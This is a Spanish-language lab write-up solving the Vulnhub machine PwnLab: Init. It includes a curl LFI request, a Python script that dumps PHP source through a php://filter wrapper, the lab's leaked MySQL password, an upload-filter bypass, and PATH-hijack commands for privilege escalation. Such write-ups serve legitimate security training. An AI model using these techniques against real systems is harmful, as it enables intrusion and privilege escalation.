Buenas, soy @manulqwerty y hoy vamos a resolver una maquina muy interesante de Vulnhub.
La máquina es PwnLab: Init

WriteUp

Lo primero es iniciar la máquina y buscar la ip:

nmap -T4 192.168.1.0/24
# o bien
netdiscover -i wlan0

En mi caso:

  • IP Maquina: 192.168.1.37
  • IP Atacante: 192.168.1.43
  • Enumeración

    El primer paso será un escaneo de puertos con nmap:

    nmap -sC -sV 192.168.1.37

    Vemos que hay un servicio mysql que permite conexiones desde el exterior y un servicio web.
    Echemosle un ojo a la web:

    Como veis la URL es http://192.168.1.37/?page=login , que nada más verla me recordó a la máquina Crimestoppers de HackTheBox
    Así que vamos a probar si podemos leer los php del servidor aprovechando los wrappers tal y como leemos en el lfi-cheat-sheet

    curl http://192.168.1.37/?page=php://filter/convert.base64-encode/resource=login

    Como veis funciona, para automatizar el proceso nos haremos un pequeño script de python (https://github.com/manulqwerty/CTF-Stuff/blob/master/pwnlabinitLFI.py):

    #!/usr/bin/python3
    
    import requests
    import base64
    import re
    
    def getPhpCode(filename):
    	r = requests.get("http://192.168.1.37/?page=php://filter/convert.base64-encode/resource=" + filename);
    	# looking for a base64 string
    	result = re.search('PD9(.*?)</center>',r.text).group(1)
    	b64 = "PD9"+result+"=="
    	return base64.b64decode(b64)
    
    
    if __name__ == '__main__':	
    	while True:
    		cmd = input("> ")
    		try:
    			output = getPhpCode(cmd)
    			print(output.decode('unicode_escape'))
    		except:
    			if cmd == 'exit':
    				break
    			print("ERROR")
    

    El primer fichero que leí fue el index.php:

    En las primeras lineas vemos algo extraño, se incluye el fichero que se indique en la cookie lang:

    <?php
    //Multilingual. Not implemented yet.
    //setcookie("lang","en.lang.php");
    if (isset($_COOKIE['lang']))
    {
            include("lang/".$_COOKIE['lang']);
    }
    // Not implemented yet.
    ?>
    

    Por ahora esto no nos sirve de mucho, pero si conseguimos subir un php, podemos ejecutarlo con esta cookie.

    Continuemos leyendo los php del servidor con el fin de encontrar unas credenciales que nos sirvan
    En el fichero config.php leemos las credenciales del mysql, al que podemos acceder remotamente:

    <?php
    $server   = "localhost";
    $username = "root";
    $password = "H4u%QJ_H99";
    $database = "Users";
    ?>
    

    Explotación

    Una vez tenemos acceso a la subida de ficheros, tenemos que ver cómo subir un php ya que en principio solo permite imagenes:

    <?php
    if(isset($_POST['submit'])) {
            if ($_FILES['file']['error'] <= 0) {
                    $filename  = $_FILES['file']['name'];                                                  
                    $filetype  = $_FILES['file']['type'];                                                  
                    $uploaddir = 'upload/';
                    $file_ext  = strrchr($filename, '.');                                                  
                    $imageinfo = getimagesize($_FILES['file']['tmp_name']);                                
                    $whitelist = array(".jpg",".jpeg",".gif",".png");                                      
    
                    if (!(in_array($file_ext, $whitelist))) {                                              
                            die('Not allowed extension, please upload images only.');                      
                    }
    
                    if(strpos($filetype,'image') === false) {                                              
                            die('Error 001');
                    }
    
                    if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {                                         
                            die('Error 002');
                    }
    
                    if(substr_count($filetype, '/')>1){
                            die('Error 003');
                    }
    
                    $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;           
    
                    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {                    
                            echo "<img src="".$uploadfile.""><br />";                                      
                    } else {
                            die('Error 4');
                    }
            }
    }
    
    ?>
    

    Como veis, se valida la extensión, el tipo y el magic number del fichero.
    Así que debemos añadir los magic numbers de una imagen y entonces añadir el php.

    Bien! Hemos conseguido subir la imagen que contiene el php; ahora podremos aprovechar la cookie lang para ejecutar esta imagen:

    Post-Explotación

    Ya tenemos shell, probemos las credenciales que obtuvimos en el mysql:

    Como veis las de mike no funcionan; en la carpeta home de kane encontramos un fichero: msgmike con el bit suid activado

    Vamos a descargarlo:

    # En PwnLab:
    python -m SimpleHTTPServer 8000
    # En el atacante:
    wget http://192.168.1.37:8000/msgmike
    

    Abramoslo con radare2 para enterarnos mejor de lo que hace el programa:

    Como veis, el programa ejecuta ‘cat /home/mike/msg.txt’ como mike

    La forma de escalar a mike es creándonos un binario cat y modificando la variable de entorno PATH para que el sistema ejecute nuestro cat:

    echo '/bin/bash' > cat
    echo $PATH
    export PATH=.
    ./msgmike
    export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
    


    Una vez somos mike, vemos otro fichero que nos permitirá escalar a root en /home/mike; descarguemoslo:

    Esta vez vamos a abrilo con IDA PRO

    El programa ejecuta ‘/bin/echo %s >> /root/messages.txt’ como root lo cual nos permite inyectar codigo bash que será ejecutado como root:
    Ejecutemos una shell reversa para obtener shell como root:

    Perfecto! Ya somos root:

    ¿Me ayudas a compatirlo?